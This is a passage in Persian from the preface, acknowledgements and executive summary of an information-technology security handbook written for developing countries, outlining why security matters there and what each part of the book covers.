  .انجامد تأمين امنيت بسياري از زيرساختهاي اقتصادي مي

آيد كه چرا به اين كتاب كه در وهلـة   حال اين سؤال پيش مي 
اول براي خوانندگاني در كـشورهاي درحـال توسـعه نگاشـته            

در پاسخ به اين پرسش بايد گفت كـه اصـول           . شده نياز است  
امنيتي همواره يكسانند؛ مستقل از اينكه شما در يـك كـشور            

نيافتـه باشـيد؛ چراكـه      يافته، درحال توسـعه يـا توسـعه       توسعه
فناوريها و تهديدات مربوط به آنها ممكن است از هـر گوشـة             

 البته راههاي گوناگوني براي ايمـن كـردن   .جهان ظاهر شوند  
ترديـد در كـشورهاي       ها وجـود دارد كـه بـي       ها و شبكه  نهرايا

  .درحال توسعه هميشه در دسترس و ارزان نيستند

                                                                  
4  U.N. Secretary General's ICT Task Force 
5  Global Digital Opportunities Initiative 
6  United Nations Development Program 
7  Accenture Foundation 
8  Markle Foundation 
9  World Summit on Information Society 
10  Millennium Development Goals 
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ابتدا ذكر اين نكته مهم است كه كاربران و راهبران رايانـه در             
يافته دسترسي بـسيار زيـادي بـه اطلاعـات          كشورهاي توسعه 

هـاي مختلـف    تواند در زمينه    كاربردي و تكنيكي دارند كه مي     
هـا و   بـراي مثـال كتابفروشـي   . ري بـه آنهـا كمـك نمايـد       كا

كننـد    هاي زيادي وجود دارند كه از رايانه استفاده مي          كتابخانه
صـنف ديگـر بـه راحتـي        و لذا درخواست كمك از افـراد هـم        

 زماني كه يك رايانه يا شبكه دچار اشـكال      .باشد  امكانپذير مي 
ود دارد اي غني از كانالهـاي اطلاعـاتي وج ـ       شود، مجموعه   مي

 .گـردد   كه اخبار و اطلاعات امنيتي از طريق آنهـا ارسـال مـي            
كننـد داراي     ها استفاده مـي     ها و شبكه    سازمانهايي كه از رايانه   

 هستند كه توسط متخصصين فنـي اداره        ١١رساني  مراكز كمك 
شوند و قادر به جلوگيري از كاربرد سوء منـابع سـازماني و               مي

  .باشند تأمين حفاظت آنها مي

بران و راهبران فني در كشورهاي درحال توسـعه معمـولاً           كار
 تعداد كاربران   . هستند  فاقد توانايي ارائه اين سطح از پشتيباني      

شـده نيـز توجـه      حلهـاي ارائـه   اندك است و به هشدارها و راه      
كنند غالباً داراي     استفاده مي    سازمانهايي كه از رايانه      .شود  نمي

وانايي نظارت بـر منـابع      بخش ستادي كوچكي هستند و لذا ت      
 بسياري از اوقات اين عدم توجـه و         .فني داخلي خود را ندارند    

عدم وجود اطلاعـات و دانـش كـافي دربـارة           به دليل   ناتواني  
اي و امنيت شبكه اسـت، و گروههـايي كـه            سيستمهاي رايانه 

اند نيز معمولاً در فهـم چگـونگي          اصول اساسي را درك كرده    
نـي بـا شـرايط متغيـر و غيرقابـل           سازگارسازي راهكارهاي ف  

  .بينيِ اين محيط مشكل دارند پيش

خدمات پس از فـروش در گذشـته بـصورت نامحـدود بـراي              
تعـداد و گرانقيمـت بودنـد درنظـر گرفتـه           هايي كه كـم     رايانه
هـا در     شد؛ اما درحال حاضر با توجه به حجم انبـوه رايانـه             مي

فروشگاهها . كردتوان بسادگي چنين خدماتي را ارائه         بازار نمي 
و مراكز خدمات تعميرات رايانه معمـولاً از مـشكلاتي كـه در             

آيند مطلع نيستند و درنتيجه كاربران      ساير نقاط دنيا بوجود مي    
و راهبران به قربانيـان توسـعة اطلاعـات مربـوط بـه امنيـت               

  .شوند  تبديل ميفناوري

افتـد و حتـي       نقص امنيتي شبكه در همة كشورها اتفـاق مـي         
 .است موجب تحت فشار قرار گرفتن دولتها نيز بگـردد         ممكن  

شوند؛ چراكه اطلاع     معمولاً بسياري از اين نقصها گزارش نمي      

                                                                  
11  Help Centers 

 دولتها  .تواند نتايج نامطلوبي به بار آورد     عموم مردم از آنها مي    
يافته عموماً توانـايي    و سازمانهاي موجود در كشورهاي توسعه     

 ـ       ي نتـايج ناشـي از بـروز        مقابله با چنين نقصهايي را دارند، ول
نقــصها و اشــكالات امنيتــي در كــشورهاي درحــال توســعه  

 در كنار   .يافته باشد تر از كشورهاي توسعه     تواند بسيار وخيم    مي
همة اين موارد، بازارها، سازمانها و دولتهاي كشورهاي درحال         

عـدم توجـه بـه عواقـب ناشـي از نفوذهـاي             به دليـل    توسعه  
دم توانايي تحليل ضـررهاي مـالي       اي در حجم وسيع، ع      رايانه

ناشي از اين حملات، و نيز نداشتن تخمين مناسـب از زمـان              
البته اگر اين خسارات قابل ترميم      (لازم براي ترميم خسارات وارده      

  .تمايل چنداني به رفع نقايص امنيتي ندارند) باشند

كشورهاي درحال توسعه بايد تأمين امنيت را بعنـوان اولويـت           
نظر بگيرند، چراكه خطـر فعاليتهـاي تبهكارانـه         اصلي خود در  

بيشتر متوجه مكانهايي است كـه از كنتـرل كـافي برخـوردار             
 تجارت الكترونيكي در كـشورهايي كـه        .نبوده و ناامن هستند   

 اطلاعات در آنهـا كمتـر تـأمين شـده اهـداف             فناوريامنيت  
 كـدام سـازمان كوچـك يـا         .تري بـراي حملـه هـستند      جذاب

ليرغم به سرقت رفتن اطلاعـات محرمانـة        متوسط است كه ع   
مشتريان، فايلهاي تجـاري و يـا دسـتكاري شـدن اطلاعـات             
كليدي سـازمان همچنـان بتوانـد پابرجـا بمانـد؟ كـشورهاي             

ديـده و   درحال توسـعه بايـد ظرفيـت منـابع انـسانيِ آمـوزش            
زيرساختهاي فناوري خود را بهبود بخشند تـا اهـداف آسـاني            

 در ايـن كتـاب      .اي نباشـند    ي رايانه براي حملة تبهكاران فضا   
بحثهاي بسياري دربارة ماهيت موضـوع امنيـت مطـرح شـده        

هاي متفاوتي  است؛ چراكه در مورد نياز به تأمين امنيت ديدگاه   
ها نگراني دارنـد بـه ايـن         افرادي كه در مورد داده     .وجود دارد 

ــات    ــت اطلاع ــوزة امني ــوان يــك موضــوع در ح ــسئله بعن م
 بـا مكانيزمهـاي فنـيِ ذخيـره و ارسـال            نگرند؛ كـسانيكه   مي

اطلاعات سر و كار دارند اين مبحث را از ديد امنيت سيستم و         
بينند؛ حال آنكه ديگراني كـه بـه تجـارت مـشغول              شبكه مي 

هستند به آن بعنوان يـك حـوزة جديـد در تجـارت و عمومـاً                
  .كنندتحت عنوان امنيت الكترونيكي نگاه مي

ايم تمام مبـاحثي كـه در       رجيح داده با توجه به اين مسائل ما ت      
گنجـد را ارائـه كنـيم و از         مي" امنيت فناوري اطلاعات  "مقوله  

اين طريق به تمامي مكانيزمهاي ذخيره و پـردازش و ارسـال            
افزار، و تسهيل ارتباطـات، بـا يـك           افزار، نرم   اطلاعات، سخت 

اين مسئله  . نگاه ويژه به مسئله امنيت خود اطلاعات بپردازيم       
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 اهميـت اسـت كـه هـم اطلاعـات و هـم مكانيزمهـاي                حائز
  .پردازش آن بايد از سوء استفاده مصون باشند

افزارهـا و     ها، نـرم    ما تعمداً در اين كتاب توجه خود را به رايانه         
ايم؛ چراكه منابع غني و متعـددي بـراي         ها محدود كرده    شبكه

آگاهي از جزئيات مسائل ديگر نظير تلفن ثابت و همراه كه در        
رتباط تنگاتنگ با ايـن مـسائل هـستند و در اينجـا بـه آنهـا                 ا

 با نزديكتر شدن فناوريهاي تلفنـي و  .پرداخته نشده وجود دارد  
اي به يكديگر، چنين مسائلي نيز اهميت بيـشتري پيـدا           رايانه
، ENUM و Voice over IP بــا پيــدايش .كننــد مــي

د و بـا    يابن  پروتكلهاي تلفن ديجيتالي نيز كاربرد روزافزوني مي      
 بتدريج به مـسائلي چـون امنيـت در          3Gپيدايش فناوريهاي   

  .آنها نيز بايد توجه كرد

اين كتاب بـه نحـوي تـدوين شـده كـه در كـشورهاي               
هدف از  . اي اندك در دسترس باشد      درحال توسعه نيز با هزينه    

انتشار اين كتاب اين نيست كه به تيـراژ بـالايي از آن دسـت               
ت كه مفاد كتاب در يك پايگـاه وب         يابيم، بلكه بنا بر اين اس     

اول اينكه مطالب   : جهاني ارائه گردد كه از دو لحاظ پويا باشد        
شده باشد، و دوم اينكه اطلاعـات  رساني  روز آن تا حد امكان به    

مفيد و مناسبي به خوانندگاني كـه بـدنبال كـسب اطلاعـاتي             
   . اطلاعات هستند ارائه كندفناوريدربارة امنيت 

اب به پـنج بخـش مختلـف تقـسيم شـده كـه              مطالب اين كت  
لازم به ذكر . هريك مناسب گروه خاصي از خوانندگان هستند      
تـوان مطالـب      است كه در بخشهاي مختلف كتاب گاهي مـي        

مشترك و تكراري پيـدا كـرد، چراكـه بـا اينكـار بـسياري از                
توانند تنها بخـشي از كتـاب را بـراي خوانـدن            خوانندگان مي 

 خـصوصاً  - بعضي بخشها  .آيدار آنها مي  انتخاب كنند كه به ك    
 -پردازنـد   اي مـي  آنهايي كه به تشريح امنيت و كاربران رايانه 

توان بطور مستقل منتشر و ميان كاربراني كـه بـه آنهـا               را مي 
  .نياز دارند توزيع نمود

در تهيه و تدوين اين كتاب ناچار به ايجاد توازن ميان اصـول             
ايم و اميـدواريم      ات عملي بوده  هاي ويژه، و اطلاع     كلي، نمونه 

اگرچـه بـا    . كه توازن ايجادشده از تناسب لازم برخوردار باشد       
پيشرفت و تكامل فناوري، جزئيات فني نيز تغيير خواهند كرد،          

بـود و خواننـدگان از نظـر          اما اين اصول همواره ثابت خواهند       
سياست و مديريت و همچنين از نظر فني قادر به فهم آسـان             

اگـر ايـن اصـول بـدقت درك شـوند آنگـاه             . باشـند  آنها مـي  
  .حلهاي فني بسادگي در دسترس قرار خواهند گرفت راه

خواننده بايد توجه داشته باشد كه مؤلفين براي مقولة امنيت و           
 بطـور كلـي     .انـد   رايانه از اصطلاحات مختلفي اسـتفاده كـرده       

  : اطلاعات به موضوعات زير اشاره داردفناوريمقولة امنيت 

،   افـزار    امنيت از نظر فني در ماشينها، نرم       :نيت رايانه ام )۱
از اين اصـطلاح بيـشتر در بخـشهاي         . ها  ها و شبكه    داده

دوم و پــنجم اســتفاده شــده كــه بيــشتر بــر روي ابعــاد 
  . تأكيد دارندفناوريفيزيكي، زيرساختي و فني امنيت 

 اطلاعات وابـسته بـه      فناوري امنيت   :١٢امنيت سايبر  )۲
ين اصـطلاح عمومـاً توسـط مؤسـسات          ا .سياست دولتها 

هاي     دولتي و سياستگذاران ملي در اسناد، قوانين و پروژه        
امنيـت  "بيش مترادف با      شود و كما      تحقيقاتي استفاده مي  

اي     اصطلاحي كـه در ايـن كتـاب بـه آن اشـاره            (  است "اينترنت
هـر دو   ).  خورد  نشده، اما گاهي اوقات در مراجع ديگر به چشم مي         

جوانب امنيت شـبكه و اصـول سياسـتگذاري         عبارت به   
ها مثل تعريـف حـريم خـصوصي، جـرائم سـايبر،              شبكه

تفـاوت ايـن دو     . تجارت و ارتباطات جهاني اشاره دارنـد      
اصــطلاح چنــدان زيــاد نيــست؛ بلكــه همــانطور كــه در 

تـوان ديـد، امنيـت        بسياري از فصلهاي اين كتـاب مـي       
بـا مفـاهيم    هـا تـا حـد زيـادي           ها و داده    ها، شبكه   رايانه

  .اند روزمرة امنيت در فضاي سايبر به هم گره خورده

در دنيـاي سريع و درحـال پيـشـرفت امـروز، تـدوين کتـاب              
راهنما در معرض اين خطر است كه اندكي پـس از انتـشار از              

روز نگهداشتن محتويات اين     براي به  .رده خارج و قديمي شود    
رس كتــاب تمــامي بخــشهاي آن در يــك پايگــاه وب بــه آد

www.infodev-security.net      موجود هستند تا هريك را 
 خواننـدگاني كـه مايـل بـه         .رساني نمود   بتوان در آينده به روز    

 پايگـاه وب باشـند       رسـاني   روزاضافه كردن مطالب مفيد در به     
تواننــد پيــشنهادات خــود را بــه آدرس الكترونيكــي      مــي

contact@infodev-security.netارسال نمايند .  

 اين كتاب بدون حمايت تعـدادي از افـراد و مؤسـسات             تدوين
ــه    ــود، از جمل ــن نب ــاه ممك ــم هيچگ ــژه و مه ــسون وي سيم

، كه راهنماييهاي مهمي در تدوين سـاختار اوليـة          ١٣گارفينكل
سـازي  اين كتاب نمود و پس از آن در شناسـايي و هماهنـگ            

انتـشار ايـن    . كنندگان كتاب كمـك كـرد     قسمتي از تيم تهيه   
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برونـو  . شدبدون راهنمايي و كمك او ميسر نمي       كتاب راهنما 
 كه اعتبـارات زيـادي بـراي تفهـيم          infoDev، مدير   ١٤لنوين

مناسبت و قدرت خلق اطلاعات و توزيع آن در زمينة فنـاوري           
، ١٥ژاكلين دوبـو  اطلاعات و ارتباطات اختصاص داد؛ همچنين       

 كـه همگـي از      ١٨هريري برتـادو   و   ١٧تري ناكازل ،  ١٦الي الوي 
از تـيم اوريلـي كـه بـا پـشتيباني           .  هستند infoDevمديران  

 دو كتـاب زيـر را منتـشر         ١٩اوريلي و شركا  شركت خود به نام     
، ٢٠امنيت اينترنت و كاربرد يونيكس    : كنيم  كردند نيز تشكر مي   

، ٢٢آلـن شـوارتز    و   ٢١ژن اسـپافورد  سيمسون گارفينكـل،    (ويرايش سوم   
سيمـسون   (٢٣امنيـت وب، محرمـانگي و تجـارت       و  ) ۲۰۰۳چاپ  

ايـن كتابهـا بـراي تكميـل        ). ۲۰۰۲ارفينكل و ژن اسپافورد، چاپ      گ
 مـورد اسـتفاده قـرار       كتـاب راهنمـا   بخشهاي مهمـي از ايـن       

اند و چند بخش آنها نيز با كسب مجوز از نويسندگان و             گرفته
  .اند بكار رفتهكتاب راهنماناشران براي چاپ مجدد در اين 

سال اخيـر دههـا     علاوه بر اينها شركت اوريلي و شركا در ده          
هزار عنوان از كتابهاي فني خود را در اختيار مردم كشورهاي           

خوانندگاني كه وضعيت كتابها و . درحال توسعه قرار داده است    
دسترسي به مطالب منتشر شده در جهـان درحـال توسـعه را             

دانند كه مشاركت اورلي در سير توانمنـدي علمـي            اند مي ديده
برداري از اينترنـت و   ش و بهرهها جهت آشنايي، پخ  اين كشور 

لذا كاهش شكاف ديجيتالي چقدر مؤثر و حـائز اهميـت بـوده             
  .است

الذكر براي   آورندگان كتابهاي فوق    دانيم از گرد  بر خود لازم مي   
ــتفاده از مطالــب       ــت اس ــشتاقانه جه ــسته و م ــك شاي كم

 به گرمي تـشكر     كتاب راهنما كتابهايشان در بخشهايي از اين      
كتـاب  شتياق آنان براي كمك بـه انتـشار ايـن           شور و ا  . كنيم
گـذاري    اشـتراك   بهترين نمونة همكاري تخصصي و به      راهنما

  .اطلاعات در تمدن نوينِ اينترنتيِ امروز است

متخـصص ارشـد    ،  ٢٤تـام كلـرمن   دانـيم از      در اينجا لازم مـي    
تيم امنيت خزانة بخش سياست      در   ٢٥ها  مديريت مخاطرة داده  
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هـاي وي در      نوشته. ز تشكر نماييم   ني ٢٦بانك جهاني  عملياتي
 و  ٢٨تهديـدات چنـدوجهي   ،  ٢٧خدمات مـالي الكترونيكـي    مورد  

 در بخش سوم اين كتاب مـورد اسـتفاده          ٢٩مديريت خطر سيار  
  .اندقرار گرفته

 نمايندة سوئيس در كميتة توسعة اطلاعـات        ٣٠ماكس اشنلمن 
 نيـز يكـي از   ۲۰۰۲ چـين در سـال    ٣١ كـين  در اجلاس چانگ  
 فنـاوري  كه اهميت و فايدة دستنامة امنيـت         اولين كساني بود  

اطلاعــات در كــشورهاي درحــال توســعه را تــشخيص داد و 
هاي او بود كه به حمايت دولت سوئيس از           پشتيبانيها و توصيه  

infoDev             براي انتشار اين كتاب انجاميد و ما در اينجـا ايـن 
  .دهيمپشتيباني وي را مورد تقدير قرار مي

ي از متخصـصين فعـال را بـراي          نيـز گروه ـ   ٣٢مايكل مكلـي  
تدوين مطالب اين كتاب تشكيل داد و همين افراد بودنـد كـه           
  پيشنهادات ارزشمندي براي افـزايش دقـت و تناسـب نـسخة       
نهايي اين كتاب ارائه كردند؛ و مـا در اينجـا از راهنماييهـاي              

كنـيم؛ و همچنـين مراتـب تـشكر و      سازندة ايشان تشكر مـي  
اندكاران و افرادي كه بـه رونـد           دست امتنان خود را به تمامي    

  .نماييم چاپ اين كتاب كمك كردند اعلام مي

عاملهـاي    اين كتاب نه مرجعي آموزشـي بـراي سيـستم         
Unix ،Windows ــا ــه مرجعــي Macintosh ي  اســت و ن

براي آموزش راهبري سيستم؛ بلكه بايد در كنـار راهنماهـاي           
  .راهبري اين سيستمها مورد استفاده قرار گيرد

 ممكـن اسـت      اي  مديريت تغييرات وسيع در سيستمهاي رايانه     
پشتيباني از آنها را دچار مشكل كند، حتي اگـر ايـن تغييـرات              

 براي راحتي خوانندگان    .براي ارتقاي سطح امنيت لازم باشند     
ايم، ولي اگر خواننـدگان       به منابع اينترنتي بسياري اشاره كرده     

وجود اينترنت اسـتفاده     پيشنهادي م  ٣٣هاي  وصلهها و     از برنامه 
كنند بايد جانب احتياط را رعايت كنند؛ چراكه ممكن است            مي

 و يـا دسـتورات     ، معمـاري  ٣٤هـسته بعد از ايجـاد تغييـرات در        
سيستمها، ارزيابيِ تأثيرات امنيتيِ آنها در سطح كلان بسادگي         
                                                                  
25  Senior Data Risk Management Specialist 
26  Integrator Group and Treasury Security Team 

of the Operations Policy Department 
27  E-Finance 
28  Blended Threats 
29  Mobile Risk Management  
30  Max Schnellmann 
31  Chongqing 
32  Michel Maechley 
33 Patches 
34  Kernel 
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١٨ 

هـاي مختلـف    هاي فروشنده   حلها و برنامه   اگر راه  .ميسر نباشد 
سـازي يـا نـصب شـوند ممكـن اسـت در               هبطور عـادي پيـاد    

مدت سطح كلـي امنيـت تـضعيف گـردد؛ پـس بايـد بـه                  دراز
سازگاري تجهيزات سيستم و كيفيت و اشتهار شركتهايي كـه          

  .دهند نيز توجه كرداي ارائه مي خدمات فني و مشاوره

تـر    اميدواريم كتاب حاضر درك اين موارد را براي شما آسـان          
ننـدگان نيـز بـه بهبـود كيفـي          كند و مطمئن هستيم كـه خوا      

  .محتويات آن در آينده كمك خواهند كرد
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  خلاصه اجرايي

كـاربردي جهـت    ي  ي راهنما ،وري اطلاعات اامنيت فن راهنماي  
در كاربردهاي حوزة   امنيت  گامهاي دستيابي به    فهم و اجراي    

گرچـه ايـن   . فناوري اطلاعات در منزل و محل كار شما است    
 فنـاوري   ةراهكارهـا را در زمين ـ    ن  تـري   و نـوين  كتاب بهتـرين    

دهــد، امــا در اصــل بــراي خواننــدگان   اطلاعــات ارائــه مــي
اين كتـاب عـلاوه    .  است كشورهاي درحال توسعه نوشته شده    

 موجـود   فيزيكي و الكترونيكـيِ ات تهديد اي از ارائه خلاصه بر  
امنيت فناوري اطلاعات، بـه راهكارهـاي مـديريتي،         در حوزة   

  سازمانهاي همكار  الگوهاي مشاركت  و   مندضابطهمحيطهاي  
پردازد كـه درحـال حاضـر در بازارهـا، دولتهـا، مؤسـسات                مي

 پنجاين كتاب از    . المللي وجود دارند    بينسازمانهاي  اي و     حرفه
مـستقل از   بصورت  توان    كه هريك را مي    بخش تشكيل شده  

  .مطالعه كردديگري 

  اجرايي موضوعات اصلي كتاب را پوشـش داده و         ةاين خلاص 
هر از كلي تصويري " کتابهايي از  گزيده"عنوان با قسمتي  در  

  .كند بخش را ارائه مي

   اطلاعات و ارتباطات فناوريسازگارسازي 
  حال افزايش است در

فنـاوري اطلاعـات و    اين كتاب در ابتدا مروري بر رشد بخش         
 را  ICTاين رشد و ارتقا كاربران عـادي        . دارد) ICT(ارتباطات  
هـاي خـانگي و رشـد         افزايش تعداد شبكه  از    و گيرد  در بر مي  

پـشتيباني  براي  كه   - ١)SMEs( سازمانهاي كوچك و متوسط   
وري و بكارگيري آن در     ا فن ةاز بازارهايي كه به شدت به توسع      

 -باشـند   مـي اي    متكي به منابع رايانه    اند  سراسر جهان وابسته  
  .توان به آن پي بردمي

  يسوابق فعاليتها اطلاعات موجود از
  ن امنيت فناوري اطلاعاتـتأمي

 بازار محـصولات و خـدمات فنـاوري در دو           ةكه توسع  از آنجا 
ث ـــگير است، اطلاع از مباح    ــسطح فردي و سازماني چشم    

                                                                  
1  Small and Medium Sized Enterprises 

ممكـن  . باشـد  مهم مـي  امنيت فناوري اطلاعات بسيار مفيد و  
 از  هاست كاربران فردي در مورد خطراتي كـه هنگـام اسـتفاد           

ات خطـر كاربران  اگر  .  است مطلع نباشند   رنت متوجه آنها  ـاينت
بـاز هـم ممكـن       را تشخيص دهنـد،      نشدهحفاظتهاي    شبكه
، ٣يابهـا ويـروس ،  ٢هـاي آتـش     ديـواره يادگيري در مورد    است  

بـه دليـل    از اطلاعـات را      منـد  و نگهداري قاعـده    ٤يرمزگذار
گيـرد و تغييـري كـه در رفتـار          هزينه و وقتي كه از آنهـا مـي        

علاوه بـر ايـن     . كند به تعويق بياندازند   جاد مي اي آنها اي  رايانه
حل فنـي      ممكن است از يك راه     سازمانهاي كوچك و متوسط   

بندي سطوح امنيت     نظير ديوارة آتش استفاده نمايند و به طبقه       
امنيـت  توجـه بـه آن،      كه بدون   و ندانند   باشند   توجهي نداشته 

همچنين ممكـن اسـت     . دچار مخاطره است  سيستم به شدت    
را بـه تـأخير     ايمن ساختن سيستمهاي خود     يل مختلف   به دلا 

كاربران و  براي  امنيتي  شفاف  سياستهاي  تدوين  و در   بياندازند  
اگـر ارتباطـات، آگـاهي و آمـوزش         . مديران نيز كوتاهي كنند   

تبهكاران ممكن اسـت    باشد،   مناسب در سازمان وجود نداشته    
  .به آساني حفاظهاي فني را پشت سر بگذارند

  :يك محيط متغيرفناوري در 
 ،كاربرديج  ـرايهاي    افزار  ار، نرم ـدستگاههاي سي 

  شوند و تهديداتي كه موجب ايجاد پيچيدگي مي

حال حاضر كاربران جديد و غيرمتخصص تنها علت نقـض         در
فنـاوري اطلاعـات و     محـيط   . امنيت فناوري اطلاعات نيستند   

 با پيدايش محصولات جديد خـصوصاً دسـتگاههاي         ارتباطات
كــه ) ٥هــاPDA، تلفنهــاي همــراه و كيفــيهــاي  ماننــد رايانــه(ســيار 

 ايجـاد هـا      و امنيـت داده    زيرسـاخت چالشهاي متفـاوتي را در      
هـاي    پيـدايش برنامـه   . باشـد   كنند بسرعت رو به تغيير مي       مي

گذاري الكترونيكـي و تجـارت        سرمايهاي براي   رايانهكاربردي  
ي  در محيطهــاهاييپيچيــدگيبــروز الكترونيــك نيــز موجــب 

  .اند اي شده شبكه

زمـان رواج   تـا   از هنگام ظهور دستگاههاي خـودپرداز گرفتـه         
جـويي مناسـب      ، اين قابليتها موجب صرفه    ٦اينترنتيبانكداري  
بـه  نيـز  اي بالقوهشوند، اما تهديدات و خطرات     مي ها  در هزينه 

  .همراه دارند

                                                                  
2  Firewall  
3  Virus Scanner 
4  Encryption 
5  Personal Digital Assistants 
6  Online Banking 
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  راهنماي امنيت فناوري اطلاعات

 

٢٠ 

ن است كه اكنون نفـوذگران      ايكند    آنچه كه اوضاع را بدتر مي     
مثـل  : باشـند مـي به توسعه و گـسترش تهديـدات خـود          قادر  

توانــد   كــه مــي٩هــاييتراوا و ٨هــاكرم، ٧ويروســهاتركيبــي از 
اين . ها وارد كند آسيبهاي شديدتري را به اين سيستمها و داده      

 افزارهــاي مخــرب نــرمبعــضي تواننــد از  صــدمات حتــي مــي
كـه تمـامي ايـن       از آنجـا  . نيـز خطرنـاكتر باشـند      ١٠)بدافزارها(

كاربران فناوري را در سطح جهاني تحت تأثير قـرار          رفتها  پيش
روشهاي مقابله بـا تهديـدات ناشـي از آنهـا           دهند، بهترين     مي

  . شود المللي حاصل مي از طريق همكاري بينتنها 

  المللي و امنيت در همكاري بين
  كشورهاي درحال توسعه

فنـاوري اطلاعـات در كـشورهاي درحـال توسـعه از       امنيـت 
واضـح اسـت كـه اينترنـت        . اني برخـوردار اسـت    اهميت شـاي  

 طلايي براي تجارت و ارتباطات فـراهم آورده كـه           يفرصتهاي
البته دسترسي  . حتي تصور آنها مشكل بود    قبل  ده سال   حدود  

اينترنت كـاربران را قـادر      . به اينترنت هميشه هم ارزان نيست     
 سازد تا نگاهي بـه گـسترة وسـيعي از موضـوعات داشـته               مي

ــست   باشــند و  ــق پ ــردم از طري ــاط م ــتفاده از آن ارتب ــا اس ب
. الكترونيكي بسيار كارآمدتر از خدمات پستي سنتي شده است        

 ـ    اينترنت بر اصول تجارت بين     ثير گذاشـته اسـت؛     أالمللي نيز ت
توانند كالاهـاي     بازارهاي كشورهاي درحال توسعه اكنون مي     

اگرچه هنـوز تعـداد رقبـا در        .  بفروشند ١١برخطخود را بصورت    
 توانند بسادگي تواناييهـا   مشتريان مي اما  بازار بسيار زياد است،     

براي انجـام اينكـار     و محصولات شركتهاي رقيب را ببينند و        
از آنجـا كـه     . نيازي به اطلاعات وسيع در ايـن زمينـه ندارنـد          

بـراي هـر    مرزهاي جغرافيـايي    آنسوي   يدسترسي به بازارها  
اي ستردههمكـاري گ ـ  ،  سيستم اقتصادي بسيار جـذاب اسـت      

جهاني لازم  و  كارآمد  اي    شبكهبراي جا افتادن مدل يك نظام       
  .است

  :تابهايي از ك گزيده
  امنيت فناوري اطلاعات

  حال توسعه كشورهاي درو 
                                                                  
7  Viruses 
8  Worms 
9  Trojans 
10  Malware (Malicious Software) 
11  Online 

  اولهايي از بخش  گزيده
 فناوري اطلاعات در عصر ديجيتال امنيت

 كلـي امنيـت در عـصر    مباحـث اي بر      كتاب مقدمه  اولبخش  
هميـشه نگـران    از گذشته تا كنون     مردم  . باشد  الكترونيك مي 

ها روند كار را      ها و شبكه    ابداع رايانه اما   ،اند  مسائل امنيتي بوده  
فناوري  اين بخش محدودة موضوعات امنيت    . تغيير داده است  

اطلاعات را ترسيم كرده و انواع متعددي از اعمـال نامناسـب            
ات كار با   دهد و خطر    ها را توضيح مي     ها و شبكه    رايانهقبال  در  

  .نمايد مناسب امنيتي را معرفي ميانجام اقدامات آنها بدون 

  :استشامل موارد زير اول بخش 
 انقلاب ديجيتال •
 تعريف امنيت •
 پيدايش و رشد اينترنت •
 مسائل امنيتيكليات  •
 فناوري اطلاعات  به امنيتمهاجمين •

آگاهي از موضوعات كلي امنيت فناوري اطلاعات مانند وجود         
ديدات امنيتي خـاص، بـه كـاربران، مـديران و            ته گسترشو  

ايمنـي  اران كمـك خواهـد كـرد تـا بـراي تقويـت              ذسياستگ
نقـض  مقابـل  هاي خـود در منـزل و يـا محـل كـار در        شبكه

  .كننداستفاده  مؤثر امنيتي از تدابير حريمهاي

  دومهايي از بخش  گزيده
  منفردكاربران و امنيت فناوري اطلاعات 

اي و  پردازد كه از منابع شبكه اني مي كتاب به كاربر دومبخش  
اي براي اهداف متعدد در منزل و يا محل كـار اسـتفاده               رايانه
براي سازمانهاي كوچكي كه قـادر بـه تعيـين          البته    و كنند  مي

 فنــاوري اطلاعــات و راهبــري آن دقيــق سياســتهاي امنيــت
ايـن  . خواهـد بـود  مفيد نيز  در سطح سازماني نيستند    سياستها

ريح اصول اساسي امنيت براي كاربران پرداخته و        بخش به تش  
 شـوند    كه موجب كاهش تهديدات امنيتي مـي       فنونيدر مورد   

برخي از موضوعات مـذكور در       .كرده است راهنماييهايي ارائه   
  : عبارتند ازدومبخش 

 ؛ امنيتيهايرخنهثير أامنيت رايانه و شبكه؛ تضرورت  •
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٢١  

 از طريـق    ١٢تصديق هويـت   از، پشتيباني     امنيت فيزيكي  •
 ؛١٤عبوررمزهاي  و ١٣كاربريهاي شناسه

 ؛افزارهاي مخرب و چگونگي گسترش آنها انواع نرم •

دليـل اينكـه    پست الكترونيكـي و اينترنـت و        مبناي كار    •
 ؛اي هستند حملات رايانهانجام براي ابزاري 

هاي آتش    يابها، ديواره   افزاري شامل ويروس    ابزارهاي نرم  •
 ؛١٥ورابزارهاي دسترسي از راه دو 

 TCP/IP هـاي شبكهساختار  تري چون     مفاهيم پيشرفته  •
 .مند اري براي كاربران علاقهذو رمزگ

را از  كـاهش مخـاطرات      مسائل امنيتي و روشهاي      دومبخش  
اين بخـش از ديـدگاه      . دهد  لحاظ فني بطور كامل پوشش مي     

مـسئله   از ديـدگاه سـازماني بـه    سومكاربران خانگي و بخش   
  .نگرد ميامنيت 

  سومهايي از بخش  گزيده
  سازمانهاو فناوري اطلاعات  امنيت

 اين كتاب ابعاد سياست و راهبري امنيت را از نگاه  سومبخش  
سياسـتهاي امنيتـي مناسـب و      اتخاذ  . كند  سازماني بررسي مي  

دست دادن ناگهـاني اطلاعـات را         خطر از  ها آن صحيحاجراي  
ر دهد، ورود غيرمجاز به سيـستم را بـسيار مـشكلت            كاهش مي 

و ابـزار امنيتـي بـراي شناسـايي حمـلات و اصـلاح              كنـد   مي
هـاي    بـراي حفـظ داده    . سـازد   امنيتي را فراهم مـي    هاي   رخنه

ــه  ــارچگي برنام ــه يكپ ــه و كمــك ب ــا و داده محرمان ــاي  ه ه
تلفيقـي از  بايد  ،ها از طريق شبكه     شده و انتقال اين داده     ذخيره
 اجـزاي  اين بخـش . شود  انجام  سازي آن      و پياده  گذاريسياست

مختلف سياستهاي امنيتـي مـؤثر بـراي سـازمانهاي مختلـف            
و سـازمانهاي    ، دولتهـا، دانـشگاهها    ي تجـاري  مانند شـركتها  

  .دهد غيرانتفاعي را پوشش مي

 موضوعات زير را بصورت دقيق مورد بررسي قرار         سومبخش  
  :دهد مي
در خـصوصاً   ركني براي تأمين امنيـت كـه         هشت   روش •

 ؛عتباري ارزشمند هستندمحيطهاي خدمات مالي و ا
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13  Usernames 
14  Passwords 
15  Remote Access Tools  

 ارزيابي خطر امنيتـي و تحليـل امنيـت در يـك شـركت          •
 نوعي؛

هـا و   تدوين برنامه هاي پيشنهادي براي      سياستها و رويه   •
 ؛امنيتيطرحهاي 

هـا و     هـا، شـبكه     نقش مديريت در تـأمين امنيـت رايانـه         •
 ؛ها داده

 فرآيند استخدام   ، و آگاهي   آموزش شامل   امنيت كارمندان  •
 ؛ز منابع امنيتي خارجيو استفاده ا

 ؛١٦ترميم سوانحاي، گزارش وقايع و  م رايانهئجرا •

 ؛ وسيم براي شركتها تهديدات امنيتي فناوريهاي بي •

